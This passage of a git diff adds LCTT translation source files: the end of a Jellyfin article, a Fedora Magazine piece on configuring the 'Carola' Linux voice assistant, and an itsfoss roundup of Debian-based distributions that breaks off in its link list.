gets its wings. The irony is that I was pushed into finding a non-proprietary solution by one of the biggest closed source companies on the planet. What I love most about the system I've created is that I am in control of all aspects of it, good and bad. + +Image by: (DJ Billings, CC BY-SA 40) + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/media-library-jellyfin-raspberry-pi + +作者:[DJ Billings][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/itsjustdj +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/programming-code-keyboard-laptop-music-headphones.png +[2]: https://opensource.com/sites/default/files/2022-06/DJ.png +[3]: https://jellyfin.org/ +[4]: https://opensource.com/sites/default/files/2022-06/jellyfin-app.png +[5]: https://jellyfin.org/docs/ +[6]: https://jellyfin.org/docs/ +[7]: https://flathub.org/apps/details/com.github.iwalton3.jellyfin-media-player diff --git a/sources/tech/20220701 Your Personal Voice Assistant on Fedora Linux.md b/sources/tech/20220701 Your Personal Voice Assistant on Fedora Linux.md new file mode 100644 index 0000000000..dffe92f99b --- /dev/null +++ b/sources/tech/20220701 Your Personal Voice Assistant on Fedora Linux.md @@ -0,0 +1,254 @@ +[#]: subject: "Your Personal Voice Assistant on Fedora Linux" +[#]: via: "https://fedoramagazine.org/your-personal-voice-assistant-on-fedora-linux/" +[#]: author: "Marius Schwarz https://fedoramagazine.org/author/mschwarz/" +[#]: collector: "lujun9972" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Your Personal Voice Assistant on Fedora Linux +====== + +![Your Personal Voice Assistant on Fedora Linux][1] + +Background image excerpted from [HAL 9000][2], public domain via Wikimedia Commons + +_It’s 7 PM. I sit down at my Fedora Linux PC and start a [MMORPG][3]. We want to brawl with Red Alliance over some systems they attacked; the usual stuff on a Friday evening in EVE. While we are waiting on a Titan to bridge us to the fighting area, a tune comes to my mind. “Carola, I wanna hear hurricanes.” My HD LED starts to blink for a second and I hear Carola saying “I found one match” and the music starts._ + +What sounded like Sci-Fi twenty years ago is now a reality for many PC users. For Linux users, this is now possible by installing “Carola” as your Personal Voice Assistant (PVA)[[1]][4]. + +### Carola + +The first thing people often ask is, “Why did you name it Carola?” 🙂 This is a common misconception. Carola is not the project name. It’s the keyword the PVA reacts to by default. It is similar to “Alexa” or “OK, Google” for those who are familiar with those products. You can configure this keyword. You can also configure other things such as your location, which applications to use by default when opening media files, what [CardDAV][5] server to use when looking up contact information, etc. These settings can be personalized for each user. Some of them can even be changed by voice command (e.g. the name, the default TTS engine, and the default apps). + +In 2021 I read an article about the Speech-To-Text (STT) system Vosk[[2]][4] and started to play a bit with it. The installation was easy. But there was no use-case except for writing what one said down to the screen. A few hours and a hundred lines of Java code later, I could give my PC simple commands. After a few more days of work, it was capable of executing more complex commands. Today, you can tell him/her/it to start apps, redirect audio streams, control audio and video playback, call someone, handle incoming calls, and more. If you have a smart-home (which I haven’t 😉) you can even switch on the light in the kitchen. But back to why I chose “Carola” — it was the most recognizable by the STT system I was using at the time. 😉 + +**Note**: _This PVA has no English translations yet because it was developed in German. I will use rough translations here which should work once someone helps with translating the config. There are videos out about Carola which show these kinds of interactions in reality_[[6]][4]_. For now, because a few dependencies are unavailable from Fedora Linux’s default repositories, you will need to install the system manually. But don’t be afraid, it is all described in the [READ.ME][6] and it is pretty simple._ + +### The time of eSpeak has run out + +A voice assistant doesn’t just react to your speech. It can also reply back to you. You might expect it to sound like a creepy robot voice from the 1960s when it was invented. But trust me, Fedora Linux can do better. 😉 Naturally, eSpeak was the first choice because it was installed on the system by default. But today we can choose (even by voice command 😉) what speech engine we want to use. + +### Text-To-Speech (TTS) systems + +Text-To-Speech systems translate the written text to a listenable waveform. Some systems output the waveform directly. Others produce MP3 or WAV files which you can then play with, for example, _sox_. Over the last year, we’ve experimented with several TTS systems. One outputs the text via the Samsung TTS engine on an Android device. It sounds great, but it requires your cellphone and a special server application. 😉 + +One of the first speech engines I tried was MBROLA[[3]][4]. It produces more understandable audio than eSpeak. But it’s still far from being “good”, as it relies on eSpeak. Think of it as an eSpeak pre-processor. Unfortunately, it is not currently available from Fedora Linux’s default repositories. + +Next was Pico2Wave, which still uses the same technique as eSpeak, but on a higher level. Still, this does not meet our vision of speech quality. Also, it has to be extracted from an old Ubuntu package because it isn’t available from the Fedora Linux repositories. + +With MaryTTS[[4]][4] we reach the first speech processor that produces human speech patterns combined with accent and dialect. MaryTTS was developed in Germany at the Saarland University & the German Research Center for AI. It’s not meant to run on your local PC (but does quite well). Rather, it is meant to run on a network to offer speech output to any kind of client that asks for it. Because modern PCs have way more CPU power than it requires, you can also run it solo on your PC. However, running it locally requires compiling the source code which can be a little tricky to do. + +MaryTTS comes with different languages and one remarkable voice for Germans — an old Bavarian woman. This voice model was trained from an old speech archive in Munich and it’s so good that you’d think your PC is at least seventy years old. 🙂 This also makes it seem like you are giving commands to an old women who should be in retirement. This makes giving commands to your PC problematic; trust me. 😉 + +The top of the line of available TTS systems is GTTS[[5]][4]. It is available from the default Fedora Linux repositories. This TTS produces the best sound quality for a wide variety of languages and, for standard voices, “the first 4 million characters are free each month”[[7]][4]. The downside of this TTS is that the text is sent to Google’s servers[[8]][7] for processing and translation into an audible speech format. This might be a privacy concern depending on the nature of the data that you are sending for translation. Be mindful that the PVA will repeat parts of what you said if it did not understand your command or when it tells you things in response to your question. For this reason, GTTS is not the default TTS. However, it is pre-configured in the PVA repo[[1]][4] and ready to use. + +### Let’s talk about privacy + +You just read that your TTS system could rat you out to Google. This leads to other questions. Namely, “Does the STT system do this too?” It doesn’t. Vosk runs entirely on your PC. There are no cloud services involved. But of course, your assistant needs to know things in order to assist you. + +One of the simpler functions is to produce a weather report. For this to work, the assistant needs to relay your question to the weather provider’s API server. The provider can reasonably assume that you normally aren’t interested in the weather for places you do not live. So the server can derive where that you live based on what city you most frequently inquire about and it can collaborate its deduction based on your device’s IP address. + +Consequently, if you configure a service in your PVA’s config, you should ask yourself if this service will cause a privacy problem for you. Many PVA functions won’t because they work locally or they use services under your control (the CalDAV and CardDAV address book services, for example). The same is true for the upcoming [IMAP][8] feature. You will use the same email provider that your email app is already configured to use. So there are no _extra_ concerns for the IMAP feature. But what happens if you decided to use GTTS because these simple text fragments are “no big deal” and the PVA reads out loud the incoming email? Here the decision for a TTS engine gets more and more important. + +One of PVA’s functions is playing music on command. By itself, this function may not seem concerning. However, an upcoming feature might change this. It will be able to tell what you want to listen to by the use of abstract requests like “Jazz”. At the moment, the PVA searches for this term in filenames and metadata it found in your MP3 archive. In the future, it will have a local track list of all the audiophile wishes you had in the past and it will produce a TOP song list for the search term. + +It will write every file you added to the playlist to a database and it will count how many times a match to your abstract request is found and play the song(s) with the best score. On the plus side, you get your favorite music. But what happens if an external plugin or hacked app takes this list and exfiltrates the data to someone who pays for this kind of information? + +Now this feature becomes a privacy concern. There is no great risk at the moment since this feature needs to be enabled and, for now, PVA is not widespread enough to be a target. But this may change and you should be aware of these kinds of privacy concerns before they become a problem. + +As a best effort to address such privacy concerns, PVA will disable features that require external communication by default. So if you use the base installation, there should be very few privacy concerns. There is one known exception — all texts sent to the PVA app are recorded in ~/.var/log/pva.log. This should make it easier to find flaws in the STT engine and track down other problems. + +Always keep in mind that privacy can also be undermined by third-party add-ons. + +### What can you expect from your assistant? + +PVA auto-configures itself on first start-up with a basic configuration. For example, it adds the default paths from the freedesktop.org specs to all your pictures, music, documents and videos. It creates a local cache and config directory where you can place your version of the config files, add new ones, or overwrite existing ones. Usually user customizations are added to the config. But you can overwrite existing values. Before we dig deeper, let’s present some more of PVA’s features. + +The Weather Report app is a classic. No assistant would be complete without it. 🙂 All it needs to know is the name of your hometown. The weather provider used is _[wttr.in][9]_. You can point your browser at this URL to find for your city’s unique identifier. You have no idea how many “Neustadt” exists in Germany alone. 😉 Because it is a webservice, you don’t need to install anything. It works out-of-the-box using [cURL][10]. + +Asking your PVA what time it is, is also a classic and it works out of the box. You can also ask your PC how it feels: “Carola, what is the actual load?” Or, more abstractly, “Carola, how do you feel?” 😉 + +For playing audio, PVA uses QMMP by default. It comes with an easy to use command line interface and a rich feature set. You will need to install this app before you can use it. Luckily, Fedora Linux ships this. QMMP gives you remote control over loudness, track number, track-position, playback, and it gives us information about what is currently playing. So you can ask your PVA what is playing when it is playing random tracks. + +Controlling QMMP by voice is one of the features I cannot do without again. I often end up in situations where I have full-screen windows with complex code on the screen. If you loose your focus, you loose your workflow. Developers call this “being in the flow” or “in the tunnel”. Here, voice control comes in very handy. You do not need to divert your focus from your work. You can just say what you want and it “magically” it happens! 😉 + +The phone-call feature works in a similar way. You can now ask your SIP software to make a call to a contact in your CardDAV address book without diverting your focusing from your work. As this is a complex process, it needs a little extra care. There is a special internal function for handling the parsing of the command sentence. “Carola, call Andreas” is enough to initiate a call. The first match in the address book will be called. If you know more than one person with the same name, I hope they have nicknames. 😉 Also, since one contact might have multiple phone numbers (e.g. for home and for work), you can specify which number should be called: “Carola, call Andreas at work.” + +_Even if it doesn’t look like a complex problem, consider which of the words the PVA receives are part of the name and which are just binding words like “at” in the above example? It is not that easy to determine. So we need to follow a precise syntax. But it needs to be natural or humans will not use it. Another thing that is important when interacting with humans is that they tend to alternate their command structures. Parsing a human sentence is more complex for a computer than you might think. It’s natural for you, but the opposite of logic for a computer. Keep this in mind as you read further. It is a reoccurring challenge._ + +Another example of when voice control can come in handy is controlling video playback is while you exercise. You are likely not in reach of a mouse or a remote (KDE Connect) nor do you want to stop your work out just because someone asks you something. With voice control, you can ask the PC to pause playback and then ask it to resume after you have answered the question or otherwise addressed the problem. + +For audio and video players that offer a MPRIS2 interface on DBUS, you can control them on the spot without adding the CLI (command line interface) commands to your config. Based on MPRIS2 you can even control Netflix or YouTube in your Firefox browser. OK, you can’t currently choose the track to watch. But you can change the volume and (un)pause the playback. And all of this can be done with the same set of commands in your config. + +There are many situations where voice control is superior or even necessary. What I haven’t told you yet is that the first device I deployed PVA to was a PinePhone. Smartphones can be used for many things. You might use it as an MP3 player while you drive or as a navigational tool. It doesn’t work with Gnome Maps (yet). But controlling a PinePhone via voice while driving will be more and more important in the Linux community. So hopefully further advancements will be made in this area. Fun fact/tip, if you use it as an MP3 player, don’t make it too loud. Or better yet, use an external speaker system[[6]][4]. + +If you use Thunderbird to manage your email, it is capable of composing and sending an email using only CLI arguments. Consequently, your PVA can compose and send email using Thunderbird. All you need to do is to tell your PVA the recipient, the subject, and then dictate the content of the body. It will also do some minor interpretation for you. While I still write my emails by hand, I can imagine situations where it could be useful. I did not have an opportunity to work with a disabled person to test this method of email composition. But it might be interesting. + +The PVA can also be handy for short reminders. You can tell your PVA when and what it should remind you about. For example, “Carola, remind me in 10 minutes to check the kitchen” or, “Carola, remind me at 10 to call Andreas”. The PVA will respond if it understood and acknowledge your reminder. + +The best comes last. With Twinkle, your PVA can take a call and interact with the caller just as it does with you. One thing I have not explained yet is that your PVA requires authorization codes for vital or potentially dangerous operations. I find it reminiscent of a scene from “Star Trek”. 😉 + +_“Carola, reboot PC.” +“Authorization code alpha is needed to perform this operation.” +“Carola, authorization code alpha three four seven.”_ + +And if the code is correct, the requested action will proceed. Requiring these authorization codes helps to alleviate the fear that someone might hack your PC through the PVA and cause trouble. Though about the worst that could happen at the moment is that you could unwillingly send spam to someone or your PC might be left playing music all day long. 😉 However, if you have home automation running and configured, it is probably better not to have Twinkle answer the phone. + +### Let’s take a look behind the curtain + +This list is long and detailed. So I will focus on some basics. + +PVA comes with a rudimentary form of hard-coded human responses. You can modify and expand them as you like. But there is no intelligence in them. You can, however, build reaction chains that are so long that a normal human cannot detect the repeating phrases. + +Here are two examples. Let’s ask the PVA for its name. + +_reaction:”what is your name”,””,”my name is %KEYWORD”_ + +Here is a more complex example that uses the word “not”. + +_reaction:”this works”,”not”,”of course it does” +reaction:”this works not”,””,”uh oh, please contact my developer”_ + +As the absence of the word “not” is crucial to the meaning of a sentence, reactions contain “positive” and “negative” terms to work. The rule is as follows. + +Positive words MUST be inside the sentence, negative words MUST NOT be inside the sentence. In developer terms it can be written as “if ( p && !n ) do …”. + +If your reaction texts give a human a new clue what to say next and you can anticipate this, then it is possible to build complex reaction chains that will simulate a conversation. I have even heard from people using this feature that they _like_ talking to their PC (and these are not your stereotypical nerds 😉). As you can use the same trigger for multiple reactions, alternative chains are possible. + +### Starting applications + +Part of the basic functionality is to start the apps that you’ve named. In the beginning, there was a fixed list of apps that was hard-coded. But now, you can extend this via the config. Let’s take a quick look at it. + +_app:”office”,”openoffice4″ +app:”txt”,”gedit” +app:”pdf”,”evince” +app:”gfx”,”gnome-open” +app:”mail”,”thunderbird”_ + +The corresponding voice commands would be “Carola, start mail”, “Carola, open mail” or, in free-form, you could say, “Carola, start Krita” (Krita is an OpenSource paint app that is available on Fedora Linux). You can configure several alternative versions of the command sentences. These can be [regular expressions][11] (regex) or multiple entries in the config file. These apps are also used in complex commands like searching for files and opening the resultant set with an app. For example, “Carola, search pictures of Iceland and open them with Krita.” The previous command would cause the PVA to search in your configured picture paths for filenames matching “iceland” and then open them with Krita. This works for all apps as long as their launchers accept filenames as arguments on their CLI. Even if this isn’t the case for your favorite app, you might still be able to write a small “wrapper” script in Bash and then use that script as the app target for the PVA. + +Via voice command, you can switch apps out for a configured alternative on the fly. + +_alternatives:”firefox”,”web”,”firefox” +alternatives:”google chrome”,”web”,”google-chrome” +alternatives:”chromium free”,”web”,” chromium-freeworld” +alternatives:”chromium privacy”,”web”,” chromium-privacy-browser” +alternatives:”openoffice”,”office”,”openoffice4″ +alternatives:”libreoffice”,”office”,”libreoffice”_ + +By using the “use {alternative}” syntax you select what you want to use next. For example, “Carola use Firefox” or “Carola use Chromium free”. It’s working for any app in the app list. But how are these commands defined? + +_command:”start”,”STARTAPP”,”app”,”” +command:”open”,”OPENAPP”,”app”,””_ + +Quite simple: “Carola, start Firefox app” will start Firefox. “Carola, start Firefox” would also work because the term “app” is filtered out. + +Next is the positive and negative list of words again. Here is the reaction syntax. + +_command:”how is the weather”,”CURRENTWEATHERNOW”,””,”tomorrow” +command:”how will the weather be”,”CURRENTWEATHERNEXT”,””,”tomorrow” +command:”how will the weather be tomorro_w”,”CURRENTWEATHERTOMORROW”,””,”” + +The commands in the second column are some of PVA’s internal function names. They are coded internally because processing the result can be tricky. You can, however, outsource those commands to an external Bash script. Below is an example that shows how to call a custom Bash script. + +_replacements:”h d m i”,”hdmi” +replacements:”u s b”,”usb”_ + +_command:”switch .* to kopfhörer”,”EXEC:pulse.outx:x%0x:xhdmi” +command:”switch .* to lautsprecher”,”EXEC:pulse.outx:x%0x:xdefault” +command:”switch .* to .* now”,”EXEC:pulse.outx:x%0x:x%1″_ + +The last of the above commands will switch the output device of a named (first “.*”) running app in pulseaudio to the named (second “.*”) device. As you can see, it works using regular-expression-like syntax. The syntax is not, however, fully-featured. All three of the above commands call the script _pulse.out_ with two parameters. That is, “pulse.out ”. Now there is no need to start PAVUControl anymore. Instead, you can just grab your headset and tell your PC to use it. 🙂 + +There is no limit to the number of .* wildcards in the command or execution part. Feel free to code a response for something like, “Carola, switch on the light in the kitchen.” + +comm_and:”switch .* the light in .*”,”EXEC:smarthomex:x%0x:x%1″_ + +If you are wondering about those “x:x” character sequences in the execution part, those are being used to escape whitespaces because they tend to appear in filenames. + +### Oops, it sent your mail to Hermine instead of Hermann + +All these voice commands only work correctly when the STT system works flawlessly. Of course, it often does not. Do not have false hopes. It’s not perfect. However, PVA can auto-correct some common errors by configuring _replacements_. + +PVA can correct simple mistakes. + +_replacements:”hi länder”,”highlander” +replacements:”cash”,”cache” +replacements:”karola”,”carola”_ + +Or, it can perform _context_ replacements. These are only done if a command has been recognized. + +co_ntextreplacements:”STARTAPP”,”kreta”,”krita” +contextreplacements:”STARTAPP”,”konfig”,”config” +contextreplacements:”ADDTITLE”,”föge”,”füge”_ + +Shown above is the entry “Krita” which sounds like the German word “Kreta” which is a Greek island. STT Vosk likes “Kreta”. So we need to replace this. But not every time. If we perform a web search for “Kreta”, it would be counter productive to replace it with “Krita”. You can add simple replacements to the config. I suggest that you use the _user_ config for these because other users my encounter different problems. + +If you don’t know why a command is not being recognized correctly, you can the always check the log at ~/.var/log/pva.log. + +### Contribution + +If you want to contribute to this project, feel free to do so. It is available on Github[[1]][4]. Since Vosk now has support for eighteen languages, translating the texts to different languages would be a great place that a contributor could get started. + +To get PVA installed on Fedora Linux, it is required to rebuild Vosk and its libraries with Fedora sources. We tried to do so earlier this year, but we failed when we ran into some exotic mathlib dependencies that we couldn’t get to compile on Fedora Linux. We are hoping that a good, skilled C developer could solve this problem and get those resulting packages reviewed by Fedora packagers. 🙂 + +I hope I have awoken some interest from our dear readers. The world of PVA needs your awesome configs! 🙂 + +Best regards, +Marius Schwarz + +### References + +[1] + +[2] + +[3] + + * [/MBROLA][12] + * [/MBROLA-voices][13] + + + +[4] + +[5] Available from the Fedora Linux repositories: + + * _dnf install gtts_ + + + +[6] + +[7] + +[8] + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/your-personal-voice-assistant-on-fedora-linux/ + +作者:[Marius Schwarz][a] +选题:[lujun9972][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/mschwarz/ +[b]: https://github.com/lujun9972 +[1]: https://fedoramagazine.org/wp-content/uploads/2022/06/hal9000-816x345.jpg +[2]: https://en.wikipedia.org/wiki/File:HAL_9000.JPG +[3]: https://en.wikipedia.org/wiki/Massively_multiplayer_online_role-playing_game +[4]: tmp.WvYZ1CkAYG#references +[5]: https://en.wikipedia.org/wiki/CardDAV +[6]: https://github.com/Cyborgscode/Personal-Voice-Assistent/blob/main/README.txt +[7]: tmp.WvYZ1CkAYG#reference +[8]: https://en.wikipedia.org/wiki/Internet_Message_Access_Protocol +[9]: https://wttr.in/ +[10]: https://en.wikipedia.org/wiki/CURL +[11]: https://en.wikipedia.org/wiki/Regular_expression +[12]: https://github.com/numediart/MBROLA +[13]: https://github.com/numediart/MBROLA-voices diff --git a/sources/tech/20220702 13 Interesting Distributions Based on Debian Linux.md b/sources/tech/20220702 13 Interesting Distributions Based on Debian Linux.md new file mode 100644 index 0000000000..c4d0469309 --- /dev/null +++ b/sources/tech/20220702 13 Interesting Distributions Based on Debian Linux.md @@ -0,0 +1,254 @@ +[#]: subject: "13 Interesting Distributions Based on Debian Linux" +[#]: via: "https://itsfoss.com/debian-based-distros/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +13 Interesting Distributions Based on Debian Linux +====== + +You will always find [Debian][1] in the list of most stable Linux distributions. It is one of the oldest distributions out there. With ‘open source’ at its core, Debian is an example of a successful community project. + +But the focus on ‘FOSS’ also makes it uncomfortable for new users who are accustomed to getting things out of the box. [Installing Debian][2] also feels like a complicated task. + +For this reason, you can opt for a Debian-based distribution so that you stay in the comfort of Debian. + +I am going to list some interesting distributions based on Debian in this article. + +![best distros based on debian][3] + +I have deliberately left out Ubuntu and other Ubuntu derivatives like Linux Mint, elementary, Linux Lite, etc. This list is for the direct derivatives of Debian. + +Let’s see if you can find your next favorite distro in this list. + +### 1. LMDE: Linux Mint – Ubuntu + Debian + +![1. lmde 5][4] + +Many users are not aware of the fact that Linux Mint also has a direct Debian derivative known as LMDE (Linux Mint Debian Edition). As the Ubuntu and Debian versions will be using Cinnamon, you won’t notice any visual differences not even in the list of applications you get for day-to-day use. + +Sadly, the only reason for maintaining Debian’s edition was to create a suitable backup if Canonical makes some changes using Ubuntu as the base. But don’t worry, LMDE is so refined that several users think the Mint team should use Debian as default for their future releases. + +The team behind Mint are strictly opposed to the use of snaps in their system and to enable it, you have to go through some extra steps than usual I would recommend LMDE to anyone as Cinnamon is created for ease of use and you also get robust Debian core for rock-solid stability. + +[LMDE][5] + +### 2. Peppermint OS: An underrated lightweight option + +![Peppermint OS 9 Screenshot][6] + +Several users start their Linux journey to revive their old system as it is known for consuming fewer resources than other distros. + +So what makes Peppermint OS stand out? ICE Applications and responsiveness. + +Peppermint has a pre-installed tool called ICE which allows you to create web apps from any URL and even allows you to run them in containers. + +And the second reason and probably the major reason behind its popularity is the speed you can achieve from a decade-old computer. + +After installation, you are met with the bare minimum tools which do not include a browser! Yes, you do get an option to choose your favorite one from the welcome screen but you can get the idea of what kind of minimalist approach they follow. + +A good choice if you are looking for a [lightweight Linux system][7]. One of the rare few [distros that still support 32-bit systems][8]. It used to be based on Ubuntu but after the unfortunate untimely demise of its lead developer, the[project reinvented itself with Debian as its base][9]. + +[Peppermint OS][10] + +### 3. Kaisen Linux: Debian with tons of utilities + +![3. kaisen linux][11] + +Debian is entrusted by many IT professionals, and it’s quite true that you can get your job done on almost every Linux distro. But having the luxury of getting all the IT necessary tools for networking, recovery, and others will not only save you time but also improve your productivity. + +Unlike the first two options (LMDE and Peppermint), you can choose between MATE (default), KDE, Xfce, and LXQt and it uses Debian testing (rolling release) at its core which is far stable if you compare it with other rolling release distros such as Arch. + +[Kaisen Linux][12] + +### 4. Raspberry Pi OS: For your $35 computer + +![4. raspberry pi os][13] + +Got yourself the famed Raspberry Pi device? You can create tons of projects with [specialized operating systems for the Raspberry Pi][14]. However, if you want to use Raspberry Pi as a generic PC, you can (and you should) use the official Raspberry Pi OS. + +It is based on Debian and earlier it was called Raspbian OS (Raspberry + Debian). However, it was renamed lately to Raspberry Pi OS. + +[Raspberry Pi OS][15] + +### 5. BOSS Linux: Made for Indian users + +![5. boss linux][16] + +There are quite a few examples when the [government tries to support Linux][17] and that’s the case with BOSS (Bharat Operating System Solutions) Linux. What makes this distro special is the custom kernel known as MOOL (Minimalistic Object Oriented Linux) which is focused on bringing better maintainability. + +Not just a custom kernel but also bundled with BEMS (BOSS Enterprise Management Suite) which provides End-to-End control and management on client nodes by getting us components such as BOSS Domain Controller, Network Authentication Server, Patch Management Server, and a lot more. + +More than 6 million+ deployments across India are a sign of how trustworthy this distro is. This comes in three variants: Desktop, Educational, and server so it covers almost everything that you need from a distro. + +[BOSS Linux][18] + +### 6. SolydXK: Simplified but solid Debian derivative + +![solydxk][19] + +For those who love to tinker with things, SolydXK is the perfect option as it not just gives multiple variants for Desktop Environments but also has a separate Enthusiast Edition (EE) based on Debian testing. + +On the stable part, we have two options: SolydK and SolydX. So if you are looking for something lightweight on system resources, SolydX will get your job done as it is fine-tuned with Xfce to revive your old pc. And if you have a decent hardware configuration, try SolydK as it is equipped with a KDE Plasma desktop. Feel free to [choose between Xfce and KDE][20]. + +From stability to multiple choices, SolydXK has been made while keeping user interest in mind. + +[SolydXK][21] + +### 7. Nitrux: A modern take on the desktop Linux + +![7. nitrux][22] + +Looking for something based on Debian yet modern looking? Nitrux will surely fulfill those requirements. Rather than using Debian stable, developers went with Debian Unstable (sid) and will retrieve some additional packages from Ubuntu LTS repositories. + +Nitrux uses NX Desktop, a customized KDE Plasma with MAUI UI framework, and trust me after Elementary OS and Deepin, Nitrux is considerably the [most eye-pleasing distro][23]. + +Additionally, the implementation of AppImages is what fascinates me a lot! So if you are looking for the perfect blend of aesthetics and rock-solid experience, Nitrux will amaze you. + +[Nitrux][24] + +### 8. Deepin: If looks could kill + +![8. deepin][25] + +So if you have a decent machine and you have no issue with the origin of the distro, Deepin is the most beautiful Debian-based Linux distro. + +Deepin is China based distro that happens to have its Desktop Environment named DDE (Deepin Desktop Environment) and also has a set of home-grown apps like Deepin Software Centre, DMusic, and DPlayer are tailored to the normal user. + +From being easy to install to eye-pleasant UI, Deepin can be the perfect choice if you are switching from Windows or looking for an enhanced Linux Desktop experience. + +[Deepin][26] + +### 9. Endless OS: For students and schools + +![9. endless os][27] + +The major reason why people are not switching to Linux is it is rumored for being complex and required to use of Terminal for every task. But what if I tell you, there is Debian based distro that is tweaked in such a way that can be used by even kids? Yes, we are talking about Endless OS here. + +Endless OS is created in such a way that it can be used without the internet and has an offline encyclopedia with over 50,000+ articles and much more. It comes with more than 100 preloaded apps and tools which do not require internet access at all! + +This makes it an ideal [Linux distribution for children and schools][28]. + +[Endless OS][29] + +### 10. MX Linux: A general-purpose distro for everyone + +![10. MX Linux][30] + +From ranked #1 on distro watch to being often recommended to new users, MX Linux does not require an introduction. So why it is so popular? MX Tools. This is the primary reason behind its popularity. + +MX Snapshot is one of the MX Tools and what it does is amazing in its way. It will create an ISO which includes all the data in your home and root directory so if you break your system (somehow) or face some critical issue with the hardware, you can use the ISO file for getting the same set of files and software on other system and this is just one example of how cool it is. + +MX Linux has three official variants: Xfce (Flagship edition), KDE, and Fluxbox (lightest of all). Surprisingly, we also get support for 32-bit architecture on Xfce and Fluxbox edition and MX-RaspberryPi is one of their unofficial spins. + +From getting us Xfce (midweight) variant to supporting Raspberry Pi, they cover everything which you can expect from a distro including a special set of tools! + +[MX Linux][31] + +### 11. Kali Linux: Hack you! + +![11. kali linux][32] + +“Hacking” is the first impression you get when you hear the name Kali Linux. It is indeed one of the [most popular Linux distributions among hackers][33], be it beginners or professionals. + +It comes with plenty of hacking, security and pen-testing tools by default. Apart from that, its repositories contain [plenty more tools][34]. + +Kali Linux developers also have a keen sense of humor, it seems. They have an [undercover mode to make your Kali Linux look like Windows][35]. It recently added a [screensaver that makes it look like the system is being hacked][36]. + +Fun and work together. A good choice for cyber security enthusiasts. + +[Kali Linux][37] + +### 12. Slax: Your portable Linux system + +![12. slax][38] + +A Live operating system that does not require any installation just a single boot and you are good to go! Yes, that’s what you get with Slax. Entire Slax resides in a single directory /slax/ so you can manage files easily. + +So when you read-only media such as CD/DVD, all the modifications will be lost after reboot but if you use writable media such as USB, you can save those changes and even use it on a different computer which is one of its widely known feature “Persistent Changes”. + +From being extremely resource-friendly to having a user-friendly interface, Slax is an interesting choice if you want a portable Linux system. + +[Slax][39] + +### 13. YunoHost: You know you could self host + +![13. yunohost][40] + +This is one of my personal favorites as it is aimed at simplifying the management of servers. + +Managing servers is not easy. It is specially difficult for home users who are accustomed to GUI. This is why some people even try to [install GUI on Ubuntu server][41]. + +If you are not too comfortable with the terminal and yet you want to self-host services and applications for home or hobby use, YunoHost is your friend. It has simplified everything from installation to the management of servers through a friendly web interface. + +A complete server distro that allows you to deploy apps through a few clicks, manage SSL certificates, create and restore backups and much more. + +[YunoHost][42] + +### Final thoughts + +Debian is the mother of so many Linux distributions. It is not easy to select the best among them. I have tried to list the ones that are different or popular. I also know there are many more interesting Debian-based distributions out there. + +If your favorite is not on this list, why not mention it in the comments? + +And if you are more into the Arch domain, check out this list of [friendlier Arch-based distros][43]. + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/debian-based-distros/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1]: https://www.debian.org/ +[2]: https://itsfoss.com/install-debian-easily/ +[3]: https://itsfoss.com/wp-content/uploads/2022/07/best-distros-based-on-debian.png +[4]: https://itsfoss.com/wp-content/uploads/2022/07/1.-LMDE-5-800x500.jpg +[5]: https://www.linuxmint.com/download_lmde.php +[6]: https://itsfoss.com/wp-content/uploads/2018/06/Peppermint-OS-3default-theme-800x450.jpg +[7]: https://itsfoss.com/lightweight-linux-beginners/ +[8]: https://itsfoss.com/32-bit-linux-distributions/ +[9]: https://news.itsfoss.com/peppermint-11-release/ +[10]: https://peppermintos.com/ +[11]: https://itsfoss.com/wp-content/uploads/2022/07/3.-Kaisen-Linux-800x450.jpg +[12]: https://kaisenlinux.org/ +[13]: https://itsfoss.com/wp-content/uploads/2022/07/4.-Raspberry-Pi-OS-min-800x450.jpg +[14]: https://itsfoss.com/raspberry-pi-os/ +[15]: https://www.raspberrypi.com/software/ +[16]: https://itsfoss.com/wp-content/uploads/2022/07/5.-BOSS-Linux-800x450.jpg +[17]: https://itsfoss.com/linux-national-os/ +[18]: https://bosslinux.in/ +[19]: https://itsfoss.com/wp-content/uploads/2022/07/solydxk-800x450.png +[20]: https://itsfoss.com/kde-vs-xfce/ +[21]: https://solydxk.com/ +[22]: https://itsfoss.com/wp-content/uploads/2022/07/7.-Nitrux-800x450.jpg +[23]: https://itsfoss.com/beautiful-linux-distributions/ +[24]: https://nxos.org/ +[25]: https://itsfoss.com/wp-content/uploads/2022/07/8.-Deepin-min.jpg +[26]: https://www.deepin.org/en/ +[27]: https://itsfoss.com/wp-content/uploads/2022/07/9.-Endless-OS-800x452.jpg +[28]: https://itsfoss.com/educational-linux-distros/ +[29]: https://endlessos.com/ +[30]: https://itsfoss.com/wp-content/uploads/2022/07/10.-MX-Linux-800x450.jpg +[31]: https://mxlinux.org/ +[32]: https://itsfoss.com/wp-content/uploads/2022/07/11.-Kali-Linux-min-800x450.jpg +[33]: https://itsfoss.com/linux-hacking-penetration-testing/ +[34]: https://itsfoss.com/best-kali-linux-tools/ +[35]: https://itsfoss.com/kali-linux-undercover-mode/ +[36]: https://news.itsfoss.com/kali-linux-2022-2-release/ +[37]: https://www.kali.org/ +[38]: https://itsfoss.com/wp-content/uploads/2022/07/12.-Slax-800x600.jpg +[39]: https://www.slax.org/ +[40]: https://itsfoss.com/wp-content/uploads/2022/07/13.-YunoHost-800x387.jpg +[41]: 